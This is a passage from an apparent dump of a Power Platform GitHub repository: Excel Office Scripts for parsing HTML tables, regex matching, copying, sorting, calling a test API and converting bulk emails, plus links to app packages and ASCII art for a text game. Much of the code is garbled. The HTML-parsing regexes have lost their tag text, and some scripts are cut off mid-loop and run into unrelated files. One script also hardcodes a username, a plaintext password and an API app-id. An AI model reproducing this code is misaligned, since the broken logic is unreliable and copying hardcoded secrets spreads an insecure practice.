1 | {"version":"0.3.0","body":"function main(workbook: ExcelScript.Workbook, sHTML: string) {\n const reTable = RegExp(\"]*>\",\"g\");\n const reTbody = RegExp(\"]*>\",\"g\");\n const reHeader = RegExp(\"]*>\", \"g\");\n const reRow = RegExp(\" | ]*>\",\"g\");\n const reCell = RegExp(\"]*>\", \"g\"); \n let sReturn=\"[\" as string;\n let sTable: string = sHTML.split(reTable)[1].split(\" |
\")[0];\n sTable=sTable\n .replace(reTbody,\"\")\n .replace(\"\", \"\")\n .replace(\"\", \"\")\n .replace(\"\", \"\");\n\n let aRows: string[] = sTable.split(reRow);\n aRows.shift();\n\n let aHeaders=[]= aRows[0].split(reHeader)\n if (aHeaders.length<2){\n aHeaders = aRows[0].split(reCell)\n }\n aHeaders.shift();\n aRows.forEach( row =>{\n if(row.trim().length>4 && !row.includes(\"\")){\n let sRow=\"{\"\n aHeaders.forEach((header,index) =>{\n sRow +=removeHTML(header) + \":'\" + \n removeHTML(row.trim().split(reCell)[index + 1])+\"',\"\n })\n sReturn += sRow.substring(0, sRow.length - 1) + \"},\"\n }\n })\n return sReturn.substring(0, sReturn.length - 1)+\"]\" ;\n}\n\nfunction removeHTML(sHTML: string){\n const reDiv = RegExp(\" ]*>\", \"g\");\n return sHTML.replace(\" | \", \"\")\n .replace(\"\", \"\")\n .replace(\"\", \"\")\n .replace(\"\", \"\")\n .replace(reDiv, \"\")\n .trim()\n}","description":"","noCodeMetadata":"","parameterInfo":"{\"version\":1,\"originalParameterOrder\":[{\"name\":\"sHTML\",\"index\":0}],\"parameterSchema\":{\"type\":\"object\",\"required\":[\"sHTML\"],\"properties\":{\"sHTML\":{\"type\":\"string\"}}},\"returnSchema\":{\"type\":\"object\",\"properties\":{\"result\":{\"type\":\"string\"}}},\"signature\":{\"comment\":\"\",\"parameters\":[{\"name\":\"workbook\",\"comment\":\"\"},{\"name\":\"sHTML\",\"comment\":\"\"}]}}","apiInfo":"{\"variant\":\"synchronous\",\"variantVersion\":2}"}
--------------------------------------------------------------------------------
/Office Scripts/Regex.osts:
--------------------------------------------------------------------------------
1 | {"version":"0.2.0","body":"function main\n (\n workbook: ExcelScript.Workbook, inputString: string,rgex: string,flag: string\n ) {\n\n let regEx = new RegExp(rgex, flag);\n let matches: string[] = [];\n let aMatches = inputString.match(regEx);\n\n if (aMatches) {\n for (var i = 0; i < aMatches.length; i++) {\n matches.push(aMatches[i]);\n }\n }\n\n return matches;\n}\n","description":"","parameterInfo":"{\"originalParameterOrder\":[{\"name\":\"inputString\",\"index\":0},{\"name\":\"rgex\",\"index\":1},{\"name\":\"flag\",\"index\":2}],\"parameterSchema\":{\"type\":\"object\",\"required\":[\"inputString\",\"rgex\",\"flag\"],\"properties\":{\"inputString\":{\"type\":\"string\"},\"rgex\":{\"type\":\"string\"},\"flag\":{\"type\":\"string\"}}},\"returnSchema\":{\"type\":\"object\",\"properties\":{\"result\":{\"type\":\"array\",\"items\":{\"type\":\"string\"}}}}}","apiInfo":"{\"variant\":\"synchronous\",\"variantVersion\":2}"}
--------------------------------------------------------------------------------
/Office Scripts/Simple Copy.osts:
--------------------------------------------------------------------------------
1 | {"version":"0.2.0","body":"function main(workbook: ExcelScript.Workbook) {\n let ws=workbook.getWorksheet(\"summary\");\n let i=0;\n let aNewRange=[]=[];\n\n let rng=ws.getUsedRange().getValues();\n aNewRange.push(rng[0]);\n\n for(i==0;i {\n if (direct==\"asc\"){\n return a.ID - b.ID;\n }else{\n return b.ID - a.ID;\n }\n });\n } else{\n if (direct == \"asc\") {\n sortArray = data.sort((a, b) => a.ToSort.localeCompare(b.ToSort));\n }else{\n sortArray = data.sort((a, b) => b.ToSort.localeCompare(a.ToSort));\n }\n };\n let iRowCount=sortArray.length;\n\n let response: responseType = {\n data: sortArray,\n total:iRowCount\n }\n return sortArray\n}\n\ninterface schema {\n Date: string;\n ToSort: string;\n ID: number;\n}\ntype responseType = {\n data: schema[],\n total: number\n}\n","description":"","parameterInfo":"{\"originalParameterOrder\":[{\"name\":\"direct\",\"index\":0},{\"name\":\"sortType\",\"index\":1},{\"name\":\"data\",\"index\":2}],\"parameterSchema\":{\"type\":\"object\",\"required\":[\"direct\",\"sortType\",\"data\"],\"properties\":{\"direct\":{\"type\":\"string\"},\"sortType\":{\"type\":\"string\"},\"data\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"Date\":{\"type\":\"string\"},\"ToSort\":{\"type\":\"string\"},\"ID\":{\"type\":\"number\"}}}}}},\"returnSchema\":{\"type\":\"object\",\"properties\":{\"result\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"Date\":{\"type\":\"string\"},\"ToSort\":{\"type\":\"string\"},\"ID\":{\"type\":\"number\"}}}}}}}","apiInfo":"{\"variant\":\"synchronous\",\"variantVersion\":2}"}
--------------------------------------------------------------------------------
/Office Scripts/Testing API.osts:
--------------------------------------------------------------------------------
1 | {"version":"0.2.0","body":"async function main(workbook: ExcelScript.Workbook) {\r\n\tlet iRows = 0;\r\n let aTemp=[]=[];\r\n\tlet username=\"dav00186\";\r\n\tlet password =\"phoenixMoo5\";\r\n\r\n\r\n\tconst myHeaders = new Headers({ 'app-id': '6356a23d9010d81d63ce8813'});\r\n\tconst myInit = {\r\n\t\tmethod: 'GET',\r\n\t\theaders: myHeaders\r\n\t};\r\n\tlet fetchResult = await fetch('https://dummyapi.io/data/v1/user', myInit);\r\n\tlet oData: dataType = await fetchResult.json();\r\n\tlet json: JSONData[] = oData.data;\r\n\r\n\tjson.forEach(item => \r\n\t\taTemp.push([item.id, item.title, item.firstName, item.lastName,item.picture])\r\n\t);\r\n\t\r\n\tiRows = json.length;\r\n\tworkbook.getWorksheet('Sheet1').getRange('A2:E' + (iRows+1)).setValues(aTemp);\r\n\t\r\n};\r\n\r\n\r\ninterface JSONData {\r\n\tid: number,\r\n\tfirstName: string,\r\n\tlastName: string,\r\n\ttitle: string,\r\n\tpicture: string\r\n}\r\n\r\ntype dataType = {\r\n\tdata: JSONData[]\r\n}\r\n\r\n\r\n\r\n//\tvar length = 0;\r\n//for (var key in json) {\r\n//\tif (json.hasOwnProperty(key)) {\r\n//\t\tlength++;\r\n//\t}\r\n//}\r\n//\tconst myHeaders = new Headers();\r\n//\tmyHeaders.append('Authorization', 'Basic' + btoa(username + \":\" + password));","description":"","parameterInfo":"{\"originalParameterOrder\":[],\"parameterSchema\":{\"type\":\"object\",\"default\":{},\"x-ms-visibility\":\"internal\"},\"returnSchema\":{\"type\":\"object\",\"properties\":{}}}","apiInfo":"{\"variant\":\"synchronous\",\"variantVersion\":2}"}
--------------------------------------------------------------------------------
/Power App Artifacts/404AppNotFound.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/404AppNotFound.zip
--------------------------------------------------------------------------------
/Power App Artifacts/5 Calculators.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/5 Calculators.zip
--------------------------------------------------------------------------------
/Power App Artifacts/Captcha_1_0_0_4.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/Captcha_1_0_0_4.zip
--------------------------------------------------------------------------------
/Power App Artifacts/DynamicListSorter_1_0_0_1.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/DynamicListSorter_1_0_0_1.zip
--------------------------------------------------------------------------------
/Power App Artifacts/FlappyApp.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/FlappyApp.zip
--------------------------------------------------------------------------------
/Power App Artifacts/Flow Builder/Flow Templates.xlsx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/Flow Builder/Flow Templates.xlsx
--------------------------------------------------------------------------------
/Power App Artifacts/Flow Builder/FlowBuilder_1_0_0_2 (1).zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/Flow Builder/FlowBuilder_1_0_0_2 (1).zip
--------------------------------------------------------------------------------
/Power App Artifacts/GameOfLife_1_0_0_2.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/GameOfLife_1_0_0_2.zip
--------------------------------------------------------------------------------
/Power App Artifacts/Menu_1_0_0_1.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/Menu_1_0_0_1.zip
--------------------------------------------------------------------------------
/Power App Artifacts/PlanningPoker_1_0_0_1.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/PlanningPoker_1_0_0_1.zip
--------------------------------------------------------------------------------
/Power App Artifacts/PollingApp_1_0_0_2.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/PollingApp_1_0_0_2.zip
--------------------------------------------------------------------------------
/Power App Artifacts/PowerPlatformSDD.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/PowerPlatformSDD.zip
--------------------------------------------------------------------------------
/Power App Artifacts/SantaTracker_1_0_0_1.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/SantaTracker_1_0_0_1.zip
--------------------------------------------------------------------------------
/Power App Artifacts/Snake_1_0_0_1.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/Snake_1_0_0_1.zip
--------------------------------------------------------------------------------
/Power App Artifacts/StackedNotificationToastDemo_1_0_0_1.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/StackedNotificationToastDemo_1_0_0_1.zip
--------------------------------------------------------------------------------
/Power App Artifacts/Tags_1_0_0_1.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/Tags_1_0_0_1.zip
--------------------------------------------------------------------------------
/Power Automate Artifacts/Bulk emailer/Bulk Email Conversion.osts:
--------------------------------------------------------------------------------
1 | {"version":"0.2.0","body":"function main(workbook: ExcelScript.Workbook) {\r\n\tlet wb1 = workbook.getWorksheet(\"Sheet1\");\r\n\tlet wb2 = workbook.addWorksheet();\r\n\tlet i = 1;\r\n\tlet r=1;\r\n\tlet c=3;\r\n\tlet rowCount = wb1.getUsedRange().getRowCount();\r\n\tlet colCount = wb1.getUsedRange().getColumnCount();\r\n\tconsole.log(rowCount+\" \"+colCount);\r\n\tlet headersMain =[[\"Email\",\"Subject\"]]\r\n\twb1.getRange(\"A1:B1\").setValue(headersMain);\r\n\tlet headers=[[\"ID\",\"Email\",\"Change\",\"With\"]]\r\n\twb2.getRange(\"A1:D1\").setValue(headers);\r\n\r\n\tfor (r=1;r Hi {Name}
3 |
4 | Thank you for this test, your reference is {Ref} and the result is {Outcome}
5 | Test over :-)
6 |
7 |
8 |
--------------------------------------------------------------------------------
/Power Automate Artifacts/Bulk emailer/bulk email list example.xlsx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/Bulk emailer/bulk email list example.xlsx
--------------------------------------------------------------------------------
/Power Automate Artifacts/Canyon Escape/Map.xlsx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/Canyon Escape/Map.xlsx
--------------------------------------------------------------------------------
/Power Automate Artifacts/Canyon Escape/TextBasedGame_1_0_0_1.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/Canyon Escape/TextBasedGame_1_0_0_1.zip
--------------------------------------------------------------------------------
/Power Automate Artifacts/Canyon Escape/canoe.txt:
--------------------------------------------------------------------------------
1 | .........................................................................................:::.......:............:--:..::::::
2 | ..................... ..............................................................:::..:.:............::-==-:.:::::---::::
3 | .............. .......................................:...........::::::::::....:::::.:..:.:--::::.....:-==+===-::.:=====--:
4 | ..... .....................:::........................:---=--:........::::...::::::------::-----::---:--:.:.::.::::--:-..:-=
5 | .............................::......::::.........:...::....::...::...::.......::-=+=-:.........:....:--:.:---::.::.--=-=-:.
6 | .:::...::::-::::::::.::::.........:--:..........:-==-::..:::.-==-:::::.:.::...-=-:....:::-:::::=+=::--=---::-----:.:::::.:-=
7 | .:....::::.:..:-==--:::...:::..:---:......:--=+=--:-====--:::::::::....:--:::-=:::.:-.:-=-:.::.:.::::::..:--==--:=@@@@=:-:::
8 | :...:::....:..-::..:..:::.:.:.:--:......:-:::....:::...::::-:...........:.:.::---:...:..:::.:..::.....:.::::-::.:@@@@@#=++==
9 | -:.::::.:::----.:..:.::--:-:-::----:::-=++=--::-=+-:..::....:--==-..:--:..:-:......-=-:::......::-----::.::.:.-#@@@*@@@-=++-
10 | -.:::-==++===-..:-::.:..::---:-----..:::....:---:.:---===:..::--=+++=-=====---=--::-::.:--==-::::...:::::.=%@@@@@@++%@@.-:::
11 | -:-:.:::.-.:.:.::.:.::....:.:.:::.=+-.:-----::..:...:==+++==--:.......:..::-::::..::::::..::---:-*@@@@@@@@@@@@@@@:@+=@@=:...
12 | -:....:==:::.:+=--..:-=====---:::::--:=+=--=+===**+=--:.:-=--::....::::---:-=-::::::...:+#@@@@@@@@@@@@@@@@@@@%=:@@*-=@@++***
13 | -:..:-==-:-::--.---:..:-=+==++**=:.::-==---==-:.:.--:.---::....:::::----::..:==+*#%@@@@@@@@@@@@@@@@%*=-:.:..=%@@@-+=#@@--==+
14 | .:--::-=+-:..:--::=+=-:.:-::..:::--:::...:.:-:...::...:::::::::--------:-+#@@@@@@@@@@@@@@@@%*-.=++=++**+-=#@@@#-+*.@@@+.....
15 | ::::..-:-=-::::::--:::....:-===-..:::::.::=++=----:::-===--==++==+**@@@@@@@@@@@@@@%*++*-.-:--==****+=-=##*=:.=#@+=@@@=:::...
16 | .::..:--:-=====-:...:=*###*+*+=-:.:....:------:....::.........-+%@@@@@@@@@@@*=::-:+*=-*=--:.:-=+=**+-.--:-+##**#*#@@@%-::---
17 | :-==-::...:-=--=*##%%%#***##*+===========-.....::::::..:=%@@@@@@@@@@@@%#+=-=--=:-+#*-:+++*+-:--:-+##***%@#+--+++*@@@@@=-===+
18 | ++====-:.::::----::.:-=----===:..:-+*##*+===---+#%@@@@@@@@@@@@@@+:-:-:-===+*=-.:-:--:=--=**=:=*%@@@%#*+====-::..::-*@@-:::::
19 | ::..:...:::::.:-+##*=---=+=:.:.:--==--:..::-+%@@@@@@@@@@@@*.:+***=+=+-==:--++-.-+#%@#-==+*@%*#%%*=------:.......::-%@%......
20 | .::-+%@@@@@%*-:::=+=-:::--=++======--::=#@@@@@@@@@@@+=:=#@*==*-:--*+=+=.==++=-:-=+++***+#%#=--:::-===-:.....::.:..+@@=------
21 | ..-%@@@@@#--::-+*##*+==++*+=-=+*#@@@@@@@@@@@@@+----+-.:*=+-.:+-++==##*+..:==+#%%%%@@@#=.::.:---=---:.............:@@+-==+++*
22 | .:#@@*-=%@%##*-::...---::::=%@@@@@@@@@@@#=..::.:.-=-=--=+:*#+-:..-++-=*::=+++*+.-:..::..-++*+=-:............:*@@@@@#:---::..
23 | :-@@=:--=@@@@+-::.::-#@@@@@@@@@@@@*:=--:---=***%@@@%+:..=--=++###**+-:**+=:.:=:-=--=+**##+:...........:...-*@@@@@@*::.......
24 | *#@@*=----@@@@@@@@@@@@@@@@@@%=--.==*##%@#+=+*#+:.:---=++*@@@*--=+++--:::---+##*%%#*++++-:..............:*@@@@*::-::::...::::
25 | :+@%--::==.+@@@@@@@@@+::--=++=::=+-:+:::-=-+#*#%@@@%*-=*+-:.--==-:--=*@@@%#*=---:...................-*%@@@%+::-::..::..::...
26 | =@@=##*+==++-.::.::-:.:::..::.:::-:-*####*+=**=-=--::.=:-:--=*+=:::=+*#+++++--:.......:::...... .-+#@@@%+::::.......::::::::
27 | %@@=:---::=++*+=:.-:.:.....:=-.--::--:.:-:--::..::..--+:-:::::-=+*%@@@*--:....................:+#%%%*=.::::::::::::::::::...
28 | *@++-.::-:.:-=+=-====-==-----==-::..:--=+-+====+++===+=-------:-==-:.:::::::::::::::......:=*#%@%*-...::::...:::::::::::::--
29 | %@.*=-==-..::.:-=*==+---::-*=+*++****+-==:-++++++===--:.:::....::::--:::..:::::::.....:=*#%%%#*-.....:....::::::::::::::::::
30 | @@:+=-:---===++-=*--======**:-=+*+++=--=-::-------::::................:::.........:=+*#%%#*-:.:::::::::::::::::::..:::::::::
31 | %@:++****###%#*+==-:-...:=+-.::------==-::::.....................:......:..:..:=+#####*=:..........:.:::::..::...:::::::::::
32 | *@+--=+++**++=---::.::--==-:.:::::::...................................:..:=+*****+-:..::.............:::::................:
33 | :%@-:-=---::::..:::-.:==--:..::............................. .........-=+*##**=:..:..:.........::.......:::.................
34 | =-*#*+=-::-===-:.:-----...........................................:=+***++-:.....................................::::::::...
35 | ..:+#%@%%##*=:-=+*++=-....................................::-=+*****+=:.................................................::::
36 | :::::=+++=:+##*+:.................:::::::............::-=+++++++==-:........................................................
37 | .......-+#%#*-.........:::.....................::=+*#*****+=-:........................................:::::::...............
38 | -::..:+%@%+:.........................:...:=+******++==-:.................::...::::::::......................::..............
39 | :::::+%#=.:::......................:=+**++**+++=-:.:-::::::::................::::::::::--::::::.............................
40 | -====#*:......................:-===+*+++=-::................:...............::....::::::::::::::::....... ..................
41 | --:::==........ .........:-====++++-..:......:..................................::...:::::::::::::::::......................
42 | ::-:-=+:..............:-==+===-.........................................................:::::...............................
43 | :::::=*=:..........:=+++=-:..................... ...........................................................................
44 | ..::::=*+-........-++=::..........................................:::.......................................................
45 | ::::::.-=+=:.....:+=.........:......... .................................................................:........... ......
46 | .........-==-::::-=:..........:.........................::............................ .................::::................
47 | ..........:=====--:......................::..............:....::........................................................ ..
--------------------------------------------------------------------------------
/Power Automate Artifacts/Canyon Escape/canyon escape flow.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/Canyon Escape/canyon escape flow.png
--------------------------------------------------------------------------------
/Power Automate Artifacts/Canyon Escape/compass.txt:
--------------------------------------------------------------------------------
1 |
2 | __ ____ ____ __ __ ___ ____ ___ _____ __ ____ ____ ___
3 | / ] / || \ | | | / \ | \ / _] / ___/ / ] / || \ / _]
4 | / / | o || _ || | || || _ | / [_ ( \_ / / | o || o ) / [_
5 | / / | || | || ~ || O || | | | _] \__ | / / | || _/ | _]
6 | / \_ | _ || | ||___, || || | | | [_ / \ |/ \_ | _ || | | [_
7 | \ || | || | || || || | | | | \ |\ || | || | | |
8 | \____||__|__||__|__||____/ \___/ |__|__| |_____| \___| \____||__|__||__| |_____|
9 |
10 | |<><><><><><><><><><><><><><><><><><><><><><><>|
11 | | * |
12 | | /\~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~/\ |
13 | | (o ) . ( o) |
14 | | \/ .` `. \/ |
15 | | /\ .` `. /\ |
16 | | ( .` `. ) |
17 | | ) .` N `. ( |
18 | | ( .` A | `. ) |
19 | | ) .` <\> )|( `. ( |
20 | | ( .` \ | ( `. ) |
21 | | ) .` ) \ | ( `. ( |
22 | | .` ) \| ( `. |
23 | | .` W---)--------O--------(---E `. |
24 | | `. ) |\ ( .` |
25 | | ) `. ) | \ ( .` ( |
26 | | ( `. ) | \ .` ) |
27 | | ) `. )|( <\> .` ( |
28 | | ( `. | .` ) |
29 | | ) `. S .` ( |
30 | | ( `. .` ) |
31 | | \/ `. .` \/ |
32 | | /\ `. .` /\ |
33 | | (o ) `.` ( o) |
34 | | \/~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~\/ |
35 | | -|- LGB|
36 | |<><><><><><><><><><><><><><><><><><><><><><><>|
--------------------------------------------------------------------------------
/Power Automate Artifacts/Canyon Escape/complete.txt:
--------------------------------------------------------------------------------
1 | .''.
2 | .''. . *''* :_\/_: .
3 | :_\/_: _\(/_ .:.*_\/_* : /\ : .'.:.'.
4 | .''.: /\ : /)\ ':'* /\ * : '..'. -=:o:=-
5 | :_\/_:'.:::. | ' *''* * '.\'/.'_\(/_'.':'.'
6 | : /\ : ::::: = *_\/_* -= o =- /)\ ' *
7 | '..' ':::' === * /\ * .'/.\'. ' ._____
8 | * | *..* : |. |' .---"|
9 | * | _ .--'| || | _| |
10 | * | .-'| __ | | | || |
11 | .-----. | |' | || | | | | | || |
12 | ___' ' /"\ | '-."". '-' '-.' '` |____
13 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
14 | ~-~-~-~-~-~-~-~-~-~ /|
15 | ) ~-~-~-~-~-~-~-~ /|~ /_|\
16 | _-H-__ -~-~-~-~-~-~ /_|\ -~======-~
17 | ~-\XXXXXXXXXX/~ ~-~-~-~ /__|_\ ~-~-~-~
18 | ~-~-~-~-~-~ ~-~~-~-~-~-~ ======== ~-~-~-~
--------------------------------------------------------------------------------
/Power Automate Artifacts/Canyon Escape/fruit.txt:
--------------------------------------------------------------------------------
1 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀
2 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠟⠉⠹⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠅⠀⠀⡃⠀⠀⠀⠀⠀⠀⠀⠀⠀
3 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣧⡀⠀⠀⠉⣻⣷⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀
4 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣧⣀⣠⡾⠋⠀⠈⠛⠿⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀
5 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⡟⠉⠀⠀⠀⠀⠀⠀⠈⠻⣷⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⣄⠀⠀⠈⠉⡳⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
6 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⣶⣶⣄⠀⠀⠀⠀⣿⠇⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠙⢷⣆⡀⠀⠀⠀⠀⠀⠀⠀⠱⡀⠀⠀⢀⡀⠴⠀⠀⠀⠀⠀⠀⠀⠀
7 | ⠀⠀⠀⠀⠀⢀⣤⣶⡿⠿⠿⠿⣷⣦⣤⣀⡀⣰⣿⠋⠀⠙⣿⡇⠀⠀⠀⣿⠀⠀⠀⠀⠷⡀⠀⠀⠀⠳⣄⠀⠀⠙⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
8 | ⠀⠀⠀⢀⣴⡿⠛⠁⠀⠀⠀⠀⠀⠈⠉⠛⢿⣿⠋⠀⠀⣴⣿⠇⠀⠀⠀⣿⡆⠀⠀⠀⠀⠹⡄⠀⠀⠀⠈⠳⣄⠀⠀⠙⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
9 | ⠀⠀⢠⣾⡟⠁⢀⡴⠂⠀⠀⠀⠀⠀⠀⠀⠈⢷⣄⣀⣴⣿⣯⡀⠀⠀⠀⢻⣧⠀⠀⠀⠀⠀⠘⢦⡀⠀⠀⠀⠈⠳⣄⠀⠀⠙⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
10 | ⠀⢀⣿⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⠁⠉⠣⡀⠙⠻⣷⣄⠀⢸⣿⠀⠀⠀⠀⠀⠀⠈⢷⡄⠀⠀⠀⠀⢘⣿⡀⠀⠀⠙⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
11 | ⠀⣾⣿⠷⢤⣤⣤⣤⣤⡴⣶⠀⠀⠀⠀⢀⡾⠃⠀⠀⠀⠙⣆⠀⠈⠻⣧⡀⢿⣆⠀⠀⠀⠀⠀⠀⠀⠘⠀⠀⠀⠀⡺⣿⡇⠐⢄⠀⠀⠉⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
12 | ⢸⣿⡇⠀⣠⠟⣀⠀⠀⠀⢸⣆⠀⠀⠀⡾⠁⠀⠀⠀⠀⠀⠘⣇⠀⠀⢻⣧⠘⣿⡆⠀⠀⠀⠀⠀⠀⣤⣄⠀⠀⢀⣵⠃⠀⠀⠀⠑⢄⠀⠀⠘⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
13 | ⢸⣿⠀⠀⢿⣀⣼⣧⣄⠀⠀⢿⣄⠀⠀⠁⠀⣀⣶⡀⠀⠀⠀⢸⡆⠀⢸⣿⠀⠹⣿⡄⠀⠀⠀⠀⠘⣿⡿⠁⠰⠛⠁⠀⠀⠀⠀⠀⠀⠙⢦⡀⠀⠙⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀
14 | ⢸⣿⠀⢰⡟⠻⣿⣿⣿⠀⠀⠀⠙⠷⠶⠶⠿⠋⠙⣧⡀⠀⠀⠈⡇⠀⣸⡿⠀⠀⠹⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠙⢦⡀⠀⠙⢿⣆⡀⠀⠀⠀⠀⠀⠀
15 | ⢸⣿⠀⠈⠛⠒⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢷⣄⠀⠀⠃⣸⣿⠇⠀⠀⠀⠙⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠦⣄⠀⠀⠀⠀⠀⠀⠙⢦⠀⠀⠙⢷⣄⠀⠀⠀⠀⠀
16 | ⢸⣿⡇⠀⠀⠀⠀⠀⠀⠰⣶⣤⣀⡀⢠⣾⣿⣶⠀⠀⠀⠻⣦⣄⢠⣿⠋⠀⠀⠀⠀⠀⠈⢿⣧⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠳⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣷⣄⠀⠀⠀
17 | ⠀⢿⣿⡄⠀⠀⠀⠀⠀⠀⠀⠉⠉⠀⠈⣿⠿⣿⠀⠀⠀⠀⣰⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠙⣿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣷⣄⡀
18 | ⠀⠈⣿⣷⡄⠀⠀⠀⠀⠀⠀⢀⣠⠀⢀⠻⠦⠾⠀⠀⣠⣾⣿⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣷⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡿⠛⣷
